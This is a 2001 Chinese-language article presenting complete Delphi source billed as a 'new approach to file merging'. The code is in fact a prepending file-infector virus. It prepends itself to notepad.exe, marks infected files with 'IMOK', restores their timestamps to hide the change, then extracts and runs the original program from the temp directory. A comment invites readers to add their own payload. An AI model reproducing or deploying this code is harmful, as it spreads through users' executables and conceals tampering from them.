文件合并新思路(附完整DELPHI代码)

文件合并新思路

(襄樊 官本和 2001.9.28)

program exe2;

uses

classes,

Tlhelp32,

windows,

SysUtils;

{$R *.RES}

var

lppe:TProcessEntry32;

found:boolean;

handle:THandle;

ProcessStr,ExeName:string;

WinDir:pchar;

const

MySize=64000; {根据编译或压缩后的文件大小进行修改}

procedure copy2(s:string);

var

s1,s2:TMemoryStream;

files2:TFilestream;

ch:array[0..3] of char;

ss:string;

filetime,fhandle:integer;

begin

{若文件s不存在}

if FileExists(s)=False then exit;

try

{判断文件s中有没有特殊标记。若有，表示已经合并过

在本程序编译或压缩后，用十六进制软件进行修改，在偏移200处加入标记'IMOK'

用debug也可进行修改(对exe文件，要先更改EXE扩展名)。例:

-e 1C8

127D:01C8 00._ <-键入新的十六进制值

......

-w <-保存文件}

files2:=TFilestream.Create(s,fmopenread);

files2.Position:=200;

files2.Read(ch,4);

ss:=copy(ch,1,4);

files2.Free;

if ss='IMOK' then exit;

{将本文件与文件s合并 本文件+s=s}

s2:=TMemoryStream.Create;

s2.loadfromfile(ExeName);

s1:=TMemoryStream.Create;

s1.copyfrom(s2,MySize);

s2.clear;

s2.loadfromfile(s);

s1.seek(s1.size,soFromBeginning);

s1.copyfrom(s2,s2.size);

s2.free;

{得到文件s的日期}

fhandle:=FileOpen(s, fmOpenread);

filetime:=filegetdate(fhandle);

fileclose(fhandle);

s1.SaveToFile(s);

{恢复文件s的日期}

fhandle:=FileOpen(s, fmOpenwrite);

filesetdate(fhandle,filetime);

fileclose(fhandle);

s1.free;

except end;

end;

procedure CreateFileAndRun;

var

s1,s2:TMemoryStream;

TempDir:pchar;

cmdstr:string;

a:integer;

Begin

s1:=TMemoryStream.Create;

s1.loadfromfile(ExeName);

if s1.Size=MySize then

begin

s1.Free;

exit;

end;

s1.seek(MySize,soFromBeginning);

s2:=TMemoryStream.Create;

s2.copyfrom(s1,s1.Size-MySize);

GetMem(TempDir,255);

GetTempPath(255,TempDir);

s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName));

cmdstr:='';

a:=1;

while ParamStr(a)<>'' do begin

cmdstr:=cmdstr+ParamStr(a)+' ';

inc(a);

end;

winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);

freemem(TempDir);

s2.free;

s1.free;

end;

begin

GetMem(WinDir,255);

GetWindowsDirectory(WinDir,255);

ExeName:=ParamStr(0);

handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);

found:=Process32First(handle,lppe);

ProcessStr:='';

while found do

begin

ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}

found:=Process32Next(handle,lppe);

end;

if pos(WinDir+'\notepad.exe',ProcessStr)=0 then

begin

copy2(WinDir+'\notepad.exe');

end;

{其它需要合并的文件

if pos(...,ProcessStr)=0 then

begin

copy2(...);

end;

...

}

freemem(WinDir);

{

你想用这个程序干点其它的什么...

}

CreateFileAndRun;{释放文件并带参数运行}

end.

{

E-mail: guanbenhe@peoplemail.com.cn

delphi21cn@sohu.com

homepage: http://guanbh.top263.net

}